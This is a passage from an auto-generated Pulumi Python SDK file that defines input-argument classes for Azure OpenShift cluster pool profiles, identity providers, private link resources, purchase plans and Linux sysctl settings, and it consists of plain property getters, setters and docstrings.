subnet_cidr) @property @pulumi.getter def count(self) -> pulumi.Input[int]: """ Number of agents (VMs) to host docker containers. """ return pulumi.get(self, "count") @count.setter def count(self, value: pulumi.Input[int]): pulumi.set(self, "count", value) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ Unique name of the pool profile in the context of the subscription and resource group. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter(name="vmSize") def vm_size(self) -> pulumi.Input[Union[str, 'OpenShiftContainerServiceVMSize']]: """ Size of agent VMs. """ return pulumi.get(self, "vm_size") @vm_size.setter def vm_size(self, value: pulumi.Input[Union[str, 'OpenShiftContainerServiceVMSize']]): pulumi.set(self, "vm_size", value) @property @pulumi.getter(name="osType") def os_type(self) -> Optional[pulumi.Input[Union[str, 'OSType']]]: """ OsType to be used to specify os type. Choose from Linux and Windows. Default to Linux. """ return pulumi.get(self, "os_type") @os_type.setter def os_type(self, value: Optional[pulumi.Input[Union[str, 'OSType']]]): pulumi.set(self, "os_type", value) @property @pulumi.getter def role(self) -> Optional[pulumi.Input[Union[str, 'OpenShiftAgentPoolProfileRole']]]: """ Define the role of the AgentPoolProfile. """ return pulumi.get(self, "role") @role.setter def role(self, value: Optional[pulumi.Input[Union[str, 'OpenShiftAgentPoolProfileRole']]]): pulumi.set(self, "role", value) @property @pulumi.getter(name="subnetCidr") def subnet_cidr(self) -> Optional[pulumi.Input[str]]: """ Subnet CIDR for the peering. """ return pulumi.get(self, "subnet_cidr") @subnet_cidr.setter def subnet_cidr(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "subnet_cidr", value) @pulumi.input_type class OpenShiftManagedClusterAuthProfileArgs: def __init__(__self__, *, identity_providers: Optional[pulumi.Input[Sequence[pulumi.Input['OpenShiftManagedClusterIdentityProviderArgs']]]] = None): """ Defines all possible authentication profiles for the OpenShift cluster. :param pulumi.Input[Sequence[pulumi.Input['OpenShiftManagedClusterIdentityProviderArgs']]] identity_providers: Type of authentication profile to use. """ if identity_providers is not None: pulumi.set(__self__, "identity_providers", identity_providers) @property @pulumi.getter(name="identityProviders") def identity_providers(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['OpenShiftManagedClusterIdentityProviderArgs']]]]: """ Type of authentication profile to use. """ return pulumi.get(self, "identity_providers") @identity_providers.setter def identity_providers(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['OpenShiftManagedClusterIdentityProviderArgs']]]]): pulumi.set(self, "identity_providers", value) @pulumi.input_type class OpenShiftManagedClusterIdentityProviderArgs: def __init__(__self__, *, name: Optional[pulumi.Input[str]] = None, provider: Optional[pulumi.Input['OpenShiftManagedClusterAADIdentityProviderArgs']] = None): """ Defines the configuration of the identity providers to be used in the OpenShift cluster. :param pulumi.Input[str] name: Name of the provider. :param pulumi.Input['OpenShiftManagedClusterAADIdentityProviderArgs'] provider: Configuration of the provider. """ if name is not None: pulumi.set(__self__, "name", name) if provider is not None: pulumi.set(__self__, "provider", provider) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ Name of the provider. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def provider(self) -> Optional[pulumi.Input['OpenShiftManagedClusterAADIdentityProviderArgs']]: """ Configuration of the provider. """ return pulumi.get(self, "provider") @provider.setter def provider(self, value: Optional[pulumi.Input['OpenShiftManagedClusterAADIdentityProviderArgs']]): pulumi.set(self, "provider", value) @pulumi.input_type class OpenShiftManagedClusterMasterPoolProfileArgs: def __init__(__self__, *, count: pulumi.Input[int], vm_size: pulumi.Input[Union[str, 'OpenShiftContainerServiceVMSize']], name: Optional[pulumi.Input[str]] = None, os_type: Optional[pulumi.Input[Union[str, 'OSType']]] = None, subnet_cidr: Optional[pulumi.Input[str]] = None): """ OpenShiftManagedClusterMaterPoolProfile contains configuration for OpenShift master VMs. :param pulumi.Input[int] count: Number of masters (VMs) to host docker containers. The default value is 3. :param pulumi.Input[Union[str, 'OpenShiftContainerServiceVMSize']] vm_size: Size of agent VMs. :param pulumi.Input[str] name: Unique name of the master pool profile in the context of the subscription and resource group. :param pulumi.Input[Union[str, 'OSType']] os_type: OsType to be used to specify os type. Choose from Linux and Windows. Default to Linux. :param pulumi.Input[str] subnet_cidr: Subnet CIDR for the peering. """ pulumi.set(__self__, "count", count) pulumi.set(__self__, "vm_size", vm_size) if name is not None: pulumi.set(__self__, "name", name) if os_type is not None: pulumi.set(__self__, "os_type", os_type) if subnet_cidr is not None: pulumi.set(__self__, "subnet_cidr", subnet_cidr) @property @pulumi.getter def count(self) -> pulumi.Input[int]: """ Number of masters (VMs) to host docker containers. The default value is 3. """ return pulumi.get(self, "count") @count.setter def count(self, value: pulumi.Input[int]): pulumi.set(self, "count", value) @property @pulumi.getter(name="vmSize") def vm_size(self) -> pulumi.Input[Union[str, 'OpenShiftContainerServiceVMSize']]: """ Size of agent VMs. """ return pulumi.get(self, "vm_size") @vm_size.setter def vm_size(self, value: pulumi.Input[Union[str, 'OpenShiftContainerServiceVMSize']]): pulumi.set(self, "vm_size", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ Unique name of the master pool profile in the context of the subscription and resource group. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="osType") def os_type(self) -> Optional[pulumi.Input[Union[str, 'OSType']]]: """ OsType to be used to specify os type. Choose from Linux and Windows. Default to Linux. """ return pulumi.get(self, "os_type") @os_type.setter def os_type(self, value: Optional[pulumi.Input[Union[str, 'OSType']]]): pulumi.set(self, "os_type", value) @property @pulumi.getter(name="subnetCidr") def subnet_cidr(self) -> Optional[pulumi.Input[str]]: """ Subnet CIDR for the peering. """ return pulumi.get(self, "subnet_cidr") @subnet_cidr.setter def subnet_cidr(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "subnet_cidr", value) @pulumi.input_type class OpenShiftRouterProfileArgs: def __init__(__self__, *, name: Optional[pulumi.Input[str]] = None): """ Represents an OpenShift router :param pulumi.Input[str] name: Name of the router profile. """ if name is not None: pulumi.set(__self__, "name", name) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ Name of the router profile. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @pulumi.input_type class PrivateEndpointArgs: def __init__(__self__, *, id: Optional[pulumi.Input[str]] = None): """ Private endpoint which a connection belongs to. :param pulumi.Input[str] id: The resource Id for private endpoint """ if id is not None: pulumi.set(__self__, "id", id) @property @pulumi.getter def id(self) -> Optional[pulumi.Input[str]]: """ The resource Id for private endpoint """ return pulumi.get(self, "id") @id.setter def id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "id", value) @pulumi.input_type class PrivateLinkResourceArgs: def __init__(__self__, *, group_id: Optional[pulumi.Input[str]] = None, id: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, required_members: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, type: Optional[pulumi.Input[str]] = None): """ A private link resource :param pulumi.Input[str] group_id: The group ID of the resource. :param pulumi.Input[str] id: The ID of the private link resource. :param pulumi.Input[str] name: The name of the private link resource. :param pulumi.Input[Sequence[pulumi.Input[str]]] required_members: RequiredMembers of the resource :param pulumi.Input[str] type: The resource type. """ if group_id is not None: pulumi.set(__self__, "group_id", group_id) if id is not None: pulumi.set(__self__, "id", id) if name is not None: pulumi.set(__self__, "name", name) if required_members is not None: pulumi.set(__self__, "required_members", required_members) if type is not None: pulumi.set(__self__, "type", type) @property @pulumi.getter(name="groupId") def group_id(self) -> Optional[pulumi.Input[str]]: """ The group ID of the resource. """ return pulumi.get(self, "group_id") @group_id.setter def group_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "group_id", value) @property @pulumi.getter def id(self) -> Optional[pulumi.Input[str]]: """ The ID of the private link resource. """ return pulumi.get(self, "id") @id.setter def id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "id", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name of the private link resource. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="requiredMembers") def required_members(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ RequiredMembers of the resource """ return pulumi.get(self, "required_members") @required_members.setter def required_members(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "required_members", value) @property @pulumi.getter def type(self) -> Optional[pulumi.Input[str]]: """ The resource type. """ return pulumi.get(self, "type") @type.setter def type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "type", value) @pulumi.input_type class PrivateLinkServiceConnectionStateArgs: def __init__(__self__, *, description: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[Union[str, 'ConnectionStatus']]] = None): """ The state of a private link service connection. :param pulumi.Input[str] description: The private link service connection description. :param pulumi.Input[Union[str, 'ConnectionStatus']] status: The private link service connection status. """ if description is not None: pulumi.set(__self__, "description", description) if status is not None: pulumi.set(__self__, "status", status) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: """ The private link service connection description. """ return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter def status(self) -> Optional[pulumi.Input[Union[str, 'ConnectionStatus']]]: """ The private link service connection status. """ return pulumi.get(self, "status") @status.setter def status(self, value: Optional[pulumi.Input[Union[str, 'ConnectionStatus']]]): pulumi.set(self, "status", value) @pulumi.input_type class PurchasePlanArgs: def __init__(__self__, *, name: Optional[pulumi.Input[str]] = None, product: Optional[pulumi.Input[str]] = None, promotion_code: Optional[pulumi.Input[str]] = None, publisher: Optional[pulumi.Input[str]] = None): """ Used for establishing the purchase context of any 3rd Party artifact through MarketPlace. :param pulumi.Input[str] name: The plan ID. :param pulumi.Input[str] product: Specifies the product of the image from the marketplace. This is the same value as Offer under the imageReference element. :param pulumi.Input[str] promotion_code: The promotion code. :param pulumi.Input[str] publisher: The plan ID. """ if name is not None: pulumi.set(__self__, "name", name) if product is not None: pulumi.set(__self__, "product", product) if promotion_code is not None: pulumi.set(__self__, "promotion_code", promotion_code) if publisher is not None: pulumi.set(__self__, "publisher", publisher) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The plan ID. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def product(self) -> Optional[pulumi.Input[str]]: """ Specifies the product of the image from the marketplace. This is the same value as Offer under the imageReference element. """ return pulumi.get(self, "product") @product.setter def product(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "product", value) @property @pulumi.getter(name="promotionCode") def promotion_code(self) -> Optional[pulumi.Input[str]]: """ The promotion code. """ return pulumi.get(self, "promotion_code") @promotion_code.setter def promotion_code(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "promotion_code", value) @property @pulumi.getter def publisher(self) -> Optional[pulumi.Input[str]]: """ The plan ID. """ return pulumi.get(self, "publisher") @publisher.setter def publisher(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "publisher", value) @pulumi.input_type class ResourceReferenceArgs: def __init__(__self__, *, id: Optional[pulumi.Input[str]] = None): """ A reference to an Azure resource. :param pulumi.Input[str] id: The fully qualified Azure resource id. """ if id is not None: pulumi.set(__self__, "id", id) @property @pulumi.getter def id(self) -> Optional[pulumi.Input[str]]: """ The fully qualified Azure resource id. """ return pulumi.get(self, "id") @id.setter def id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "id", value) @pulumi.input_type class SysctlConfigArgs: def __init__(__self__, *, fs_aio_max_nr: Optional[pulumi.Input[int]] = None, fs_file_max: Optional[pulumi.Input[int]] = None, fs_inotify_max_user_watches: Optional[pulumi.Input[int]] = None, fs_nr_open: Optional[pulumi.Input[int]] = None, kernel_threads_max: Optional[pulumi.Input[int]] = None, net_core_netdev_max_backlog: Optional[pulumi.Input[int]] = None, net_core_optmem_max: Optional[pulumi.Input[int]] = None, net_core_rmem_default: Optional[pulumi.Input[int]] = None, net_core_rmem_max: Optional[pulumi.Input[int]] = None, net_core_somaxconn: Optional[pulumi.Input[int]] = None, net_core_wmem_default: Optional[pulumi.Input[int]] = None, net_core_wmem_max: Optional[pulumi.Input[int]] = None, net_ipv4_ip_local_port_range: Optional[pulumi.Input[str]] = None, net_ipv4_neigh_default_gc_thresh1: Optional[pulumi.Input[int]] = None, net_ipv4_neigh_default_gc_thresh2: Optional[pulumi.Input[int]] = None, net_ipv4_neigh_default_gc_thresh3: Optional[pulumi.Input[int]] = None, net_ipv4_tcp_fin_timeout: Optional[pulumi.Input[int]] = None, net_ipv4_tcp_keepalive_probes: Optional[pulumi.Input[int]] = None, net_ipv4_tcp_keepalive_time: Optional[pulumi.Input[int]] = None, net_ipv4_tcp_max_syn_backlog: Optional[pulumi.Input[int]] = None, net_ipv4_tcp_max_tw_buckets: Optional[pulumi.Input[int]] = None, net_ipv4_tcp_tw_reuse: Optional[pulumi.Input[bool]] = None, net_ipv4_tcpkeepalive_intvl: Optional[pulumi.Input[int]] = None, net_netfilter_nf_conntrack_buckets: Optional[pulumi.Input[int]] = None, net_netfilter_nf_conntrack_max: Optional[pulumi.Input[int]] = None, vm_max_map_count: Optional[pulumi.Input[int]] = None, vm_swappiness: Optional[pulumi.Input[int]] = None, vm_vfs_cache_pressure: Optional[pulumi.Input[int]] = None): """ Sysctl settings for Linux agent nodes. :param pulumi.Input[int] fs_aio_max_nr: Sysctl setting fs.aio-max-nr. :param pulumi.Input[int] fs_file_max: Sysctl setting fs.file-max. :param pulumi.Input[int] fs_inotify_max_user_watches: Sysctl setting fs.inotify.max_user_watches. :param pulumi.Input[int] fs_nr_open: Sysctl setting fs.nr_open. :param pulumi.Input[int] kernel_threads_max: Sysctl setting kernel.threads-max. :param pulumi.Input[int] net_core_netdev_max_backlog: Sysctl setting net.core.netdev_max_backlog. :param pulumi.Input[int] net_core_optmem_max: Sysctl setting net.core.optmem_max. :param pulumi.Input[int] net_core_rmem_default: Sysctl setting net.core.rmem_default. :param pulumi.Input[int] net_core_rmem_max: Sysctl setting net.core.rmem_max. :param pulumi.Input[int] net_core_somaxconn: Sysctl setting net.core.somaxconn. :param pulumi.Input[int] net_core_wmem_default: Sysctl setting net.core.wmem_default. :param pulumi.Input[int] net_core_wmem_max: Sysctl setting net.core.wmem_max. :param pulumi.Input[str] net_ipv4_ip_local_port_range: Sysctl setting net.ipv4.ip_local_port_range. :param pulumi.Input[int] net_ipv4_neigh_default_gc_thresh1: Sysctl setting net.ipv4.neigh.default.gc_thresh1. :param pulumi.Input[int] net_ipv4_neigh_default_gc_thresh2: Sysctl setting net.ipv4.neigh.default.gc_thresh2. :param pulumi.Input[int] net_ipv4_neigh_default_gc_thresh3: Sysctl setting net.ipv4.neigh.default.gc_thresh3. :param pulumi.Input[int] net_ipv4_tcp_fin_timeout: Sysctl setting net.ipv4.tcp_fin_timeout. :param pulumi.Input[int] net_ipv4_tcp_keepalive_probes: Sysctl setting net.ipv4.tcp_keepalive_probes. :param pulumi.Input[int] net_ipv4_tcp_keepalive_time: Sysctl setting net.ipv4.tcp_keepalive_time. :param pulumi.Input[int] net_ipv4_tcp_max_syn_backlog: Sysctl setting net.ipv4.tcp_max_syn_backlog. :param pulumi.Input[int] net_ipv4_tcp_max_tw_buckets: Sysctl setting net.ipv4.tcp_max_tw_buckets. :param pulumi.Input[bool] net_ipv4_tcp_tw_reuse: Sysctl setting net.ipv4.tcp_tw_reuse. :param pulumi.Input[int] net_ipv4_tcpkeepalive_intvl: Sysctl setting net.ipv4.tcp_keepalive_intvl. :param pulumi.Input[int] net_netfilter_nf_conntrack_buckets: Sysctl setting net.netfilter.nf_conntrack_buckets. :param pulumi.Input[int] net_netfilter_nf_conntrack_max: Sysctl setting net.netfilter.nf_conntrack_max. :param pulumi.Input[int] vm_max_map_count: Sysctl setting vm.max_map_count. :param pulumi.Input[int] vm_swappiness: Sysctl setting vm.swappiness. :param pulumi.Input[int] vm_vfs_cache_pressure: Sysctl setting vm.vfs_cache_pressure. """ if fs_aio_max_nr is not None: pulumi.set(__self__, "fs_aio_max_nr", fs_aio_max_nr) if fs_file_max is not None: pulumi.set(__self__, "fs_file_max", fs_file_max) if fs_inotify_max_user_watches is not None: pulumi.set(__self__, "fs_inotify_max_user_watches", fs_inotify_max_user_watches) if fs_nr_open is not None: pulumi.set(__self__, "fs_nr_open", fs_nr_open) if kernel_threads_max is not None: pulumi.set(__self__, "kernel_threads_max", kernel_threads_max) if net_core_netdev_max_backlog is not None: pulumi.set(__self__, "net_core_netdev_max_backlog", net_core_netdev_max_backlog) if net_core_optmem_max is not None: pulumi.set(__self__, "net_core_optmem_max", net_core_optmem_max) if net_core_rmem_default is not None: pulumi.set(__self__, "net_core_rmem_default", net_core_rmem_default) if net_core_rmem_max is not None: pulumi.set(__self__, "net_core_rmem_max", net_core_rmem_max) if net_core_somaxconn is not None: pulumi.set(__self__, "net_core_somaxconn", net_core_somaxconn) if net_core_wmem_default is not None: pulumi.set(__self__, "net_core_wmem_default", net_core_wmem_default) if net_core_wmem_max is not None: pulumi.set(__self__, "net_core_wmem_max", net_core_wmem_max) if net_ipv4_ip_local_port_range is not None: pulumi.set(__self__, "net_ipv4_ip_local_port_range", net_ipv4_ip_local_port_range) if net_ipv4_neigh_default_gc_thresh1 is not None: pulumi.set(__self__, "net_ipv4_neigh_default_gc_thresh1", net_ipv4_neigh_default_gc_thresh1) if net_ipv4_neigh_default_gc_thresh2 is not None: pulumi.set(__self__, "net_ipv4_neigh_default_gc_thresh2", net_ipv4_neigh_default_gc_thresh2) if net_ipv4_neigh_default_gc_thresh3 is not None: pulumi.set(__self__, "net_ipv4_neigh_default_gc_thresh3", net_ipv4_neigh_default_gc_thresh3) if net_ipv4_tcp_fin_timeout is not None: pulumi.set(__self__, "net_ipv4_tcp_fin_timeout", net_ipv4_tcp_fin_timeout) if net_ipv4_tcp_keepalive_probes is not None: pulumi.set(__self__, "net_ipv4_tcp_keepalive_probes", net_ipv4_tcp_keepalive_probes) if net_ipv4_tcp_keepalive_time is not None: pulumi.set(__self__, "net_ipv4_tcp_keepalive_time", net_ipv4_tcp_keepalive_time) if net_ipv4_tcp_max_syn_backlog is not None: pulumi.set(__self__, "net_ipv4_tcp_max_syn_backlog", net_ipv4_tcp_max_syn_backlog) if net_ipv4_tcp_max_tw_buckets is not None: pulumi.set(__self__, "net_ipv4_tcp_max_tw_buckets", net_ipv4_tcp_max_tw_buckets) if net_ipv4_tcp_tw_reuse is not None: pulumi.set(__self__, "net_ipv4_tcp_tw_reuse", net_ipv4_tcp_tw_reuse) if net_ipv4_tcpkeepalive_intvl is not None: pulumi.set(__self__, "net_ipv4_tcpkeepalive_intvl", net_ipv4_tcpkeepalive_intvl) if net_netfilter_nf_conntrack_buckets is not None: pulumi.set(__self__, "net_netfilter_nf_conntrack_buckets", net_netfilter_nf_conntrack_buckets) if net_netfilter_nf_conntrack_max is not None: pulumi.set(__self__, "net_netfilter_nf_conntrack_max", net_netfilter_nf_conntrack_max) if vm_max_map_count is not None: pulumi.set(__self__, "vm_max_map_count", vm_max_map_count) if vm_swappiness is not None: pulumi.set(__self__, "vm_swappiness", vm_swappiness) if vm_vfs_cache_pressure is not None: pulumi.set(__self__, "vm_vfs_cache_pressure", vm_vfs_cache_pressure) @property @pulumi.getter(name="fsAioMaxNr") def fs_aio_max_nr(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting fs.aio-max-nr. """ return pulumi.get(self, "fs_aio_max_nr") @fs_aio_max_nr.setter def fs_aio_max_nr(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "fs_aio_max_nr", value) @property @pulumi.getter(name="fsFileMax") def fs_file_max(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting fs.file-max. """ return pulumi.get(self, "fs_file_max") @fs_file_max.setter def fs_file_max(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "fs_file_max", value) @property @pulumi.getter(name="fsInotifyMaxUserWatches") def fs_inotify_max_user_watches(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting fs.inotify.max_user_watches. """ return pulumi.get(self, "fs_inotify_max_user_watches") @fs_inotify_max_user_watches.setter def fs_inotify_max_user_watches(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "fs_inotify_max_user_watches", value) @property @pulumi.getter(name="fsNrOpen") def fs_nr_open(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting fs.nr_open. """ return pulumi.get(self, "fs_nr_open") @fs_nr_open.setter def fs_nr_open(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "fs_nr_open", value) @property @pulumi.getter(name="kernelThreadsMax") def kernel_threads_max(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting kernel.threads-max. """ return pulumi.get(self, "kernel_threads_max") @kernel_threads_max.setter def kernel_threads_max(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "kernel_threads_max", value) @property @pulumi.getter(name="netCoreNetdevMaxBacklog") def net_core_netdev_max_backlog(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting net.core.netdev_max_backlog. """ return pulumi.get(self, "net_core_netdev_max_backlog") @net_core_netdev_max_backlog.setter def net_core_netdev_max_backlog(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "net_core_netdev_max_backlog", value) @property @pulumi.getter(name="netCoreOptmemMax") def net_core_optmem_max(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting net.core.optmem_max. """ return pulumi.get(self, "net_core_optmem_max") @net_core_optmem_max.setter def net_core_optmem_max(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "net_core_optmem_max", value) @property @pulumi.getter(name="netCoreRmemDefault") def net_core_rmem_default(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting net.core.rmem_default. """ return pulumi.get(self, "net_core_rmem_default") @net_core_rmem_default.setter def net_core_rmem_default(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "net_core_rmem_default", value) @property @pulumi.getter(name="netCoreRmemMax") def net_core_rmem_max(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting net.core.rmem_max. """ return pulumi.get(self, "net_core_rmem_max") @net_core_rmem_max.setter def net_core_rmem_max(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "net_core_rmem_max", value) @property @pulumi.getter(name="netCoreSomaxconn") def net_core_somaxconn(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting net.core.somaxconn. """ return pulumi.get(self, "net_core_somaxconn") @net_core_somaxconn.setter def net_core_somaxconn(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "net_core_somaxconn", value) @property @pulumi.getter(name="netCoreWmemDefault") def net_core_wmem_default(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting net.core.wmem_default. """ return pulumi.get(self, "net_core_wmem_default") @net_core_wmem_default.setter def net_core_wmem_default(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "net_core_wmem_default", value) @property @pulumi.getter(name="netCoreWmemMax") def net_core_wmem_max(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting net.core.wmem_max. """ return pulumi.get(self, "net_core_wmem_max") @net_core_wmem_max.setter def net_core_wmem_max(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "net_core_wmem_max", value) @property @pulumi.getter(name="netIpv4IpLocalPortRange") def net_ipv4_ip_local_port_range(self) -> Optional[pulumi.Input[str]]: """ Sysctl setting net.ipv4.ip_local_port_range. """ return pulumi.get(self, "net_ipv4_ip_local_port_range") @net_ipv4_ip_local_port_range.setter def net_ipv4_ip_local_port_range(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "net_ipv4_ip_local_port_range", value) @property @pulumi.getter(name="netIpv4NeighDefaultGcThresh1") def net_ipv4_neigh_default_gc_thresh1(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting net.ipv4.neigh.default.gc_thresh1. """ return pulumi.get(self, "net_ipv4_neigh_default_gc_thresh1") @net_ipv4_neigh_default_gc_thresh1.setter def net_ipv4_neigh_default_gc_thresh1(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "net_ipv4_neigh_default_gc_thresh1", value) @property @pulumi.getter(name="netIpv4NeighDefaultGcThresh2") def net_ipv4_neigh_default_gc_thresh2(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting net.ipv4.neigh.default.gc_thresh2. """ return pulumi.get(self, "net_ipv4_neigh_default_gc_thresh2") @net_ipv4_neigh_default_gc_thresh2.setter def net_ipv4_neigh_default_gc_thresh2(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "net_ipv4_neigh_default_gc_thresh2", value) @property @pulumi.getter(name="netIpv4NeighDefaultGcThresh3") def net_ipv4_neigh_default_gc_thresh3(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting net.ipv4.neigh.default.gc_thresh3. """ return pulumi.get(self, "net_ipv4_neigh_default_gc_thresh3") @net_ipv4_neigh_default_gc_thresh3.setter def net_ipv4_neigh_default_gc_thresh3(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "net_ipv4_neigh_default_gc_thresh3", value) @property @pulumi.getter(name="netIpv4TcpFinTimeout") def net_ipv4_tcp_fin_timeout(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting net.ipv4.tcp_fin_timeout. """ return pulumi.get(self, "net_ipv4_tcp_fin_timeout") @net_ipv4_tcp_fin_timeout.setter def net_ipv4_tcp_fin_timeout(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "net_ipv4_tcp_fin_timeout", value) @property @pulumi.getter(name="netIpv4TcpKeepaliveProbes") def net_ipv4_tcp_keepalive_probes(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting net.ipv4.tcp_keepalive_probes. """ return pulumi.get(self, "net_ipv4_tcp_keepalive_probes") @net_ipv4_tcp_keepalive_probes.setter def net_ipv4_tcp_keepalive_probes(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "net_ipv4_tcp_keepalive_probes", value) @property @pulumi.getter(name="netIpv4TcpKeepaliveTime") def net_ipv4_tcp_keepalive_time(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting net.ipv4.tcp_keepalive_time. """ return pulumi.get(self, "net_ipv4_tcp_keepalive_time") @net_ipv4_tcp_keepalive_time.setter def net_ipv4_tcp_keepalive_time(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "net_ipv4_tcp_keepalive_time", value) @property @pulumi.getter(name="netIpv4TcpMaxSynBacklog") def net_ipv4_tcp_max_syn_backlog(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting net.ipv4.tcp_max_syn_backlog. """ return pulumi.get(self, "net_ipv4_tcp_max_syn_backlog") @net_ipv4_tcp_max_syn_backlog.setter def net_ipv4_tcp_max_syn_backlog(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "net_ipv4_tcp_max_syn_backlog", value) @property @pulumi.getter(name="netIpv4TcpMaxTwBuckets") def net_ipv4_tcp_max_tw_buckets(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting net.ipv4.tcp_max_tw_buckets. """ return pulumi.get(self, "net_ipv4_tcp_max_tw_buckets") @net_ipv4_tcp_max_tw_buckets.setter def net_ipv4_tcp_max_tw_buckets(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "net_ipv4_tcp_max_tw_buckets", value) @property @pulumi.getter(name="netIpv4TcpTwReuse") def net_ipv4_tcp_tw_reuse(self) -> Optional[pulumi.Input[bool]]: """ Sysctl setting net.ipv4.tcp_tw_reuse. """ return pulumi.get(self, "net_ipv4_tcp_tw_reuse") @net_ipv4_tcp_tw_reuse.setter def net_ipv4_tcp_tw_reuse(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "net_ipv4_tcp_tw_reuse", value) @property @pulumi.getter(name="netIpv4TcpkeepaliveIntvl") def net_ipv4_tcpkeepalive_intvl(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting net.ipv4.tcp_keepalive_intvl. """ return pulumi.get(self, "net_ipv4_tcpkeepalive_intvl") @net_ipv4_tcpkeepalive_intvl.setter def net_ipv4_tcpkeepalive_intvl(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "net_ipv4_tcpkeepalive_intvl", value) @property @pulumi.getter(name="netNetfilterNfConntrackBuckets") def net_netfilter_nf_conntrack_buckets(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting net.netfilter.nf_conntrack_buckets. """ return pulumi.get(self, "net_netfilter_nf_conntrack_buckets") @net_netfilter_nf_conntrack_buckets.setter def net_netfilter_nf_conntrack_buckets(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "net_netfilter_nf_conntrack_buckets", value) @property @pulumi.getter(name="netNetfilterNfConntrackMax") def net_netfilter_nf_conntrack_max(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting net.netfilter.nf_conntrack_max. """ return pulumi.get(self, "net_netfilter_nf_conntrack_max") @net_netfilter_nf_conntrack_max.setter def net_netfilter_nf_conntrack_max(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "net_netfilter_nf_conntrack_max", value) @property @pulumi.getter(name="vmMaxMapCount") def vm_max_map_count(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting vm.max_map_count. """ return pulumi.get(self, "vm_max_map_count") @vm_max_map_count.setter def vm_max_map_count(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "vm_max_map_count", value) @property @pulumi.getter(name="vmSwappiness") def vm_swappiness(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting vm.swappiness. """ return 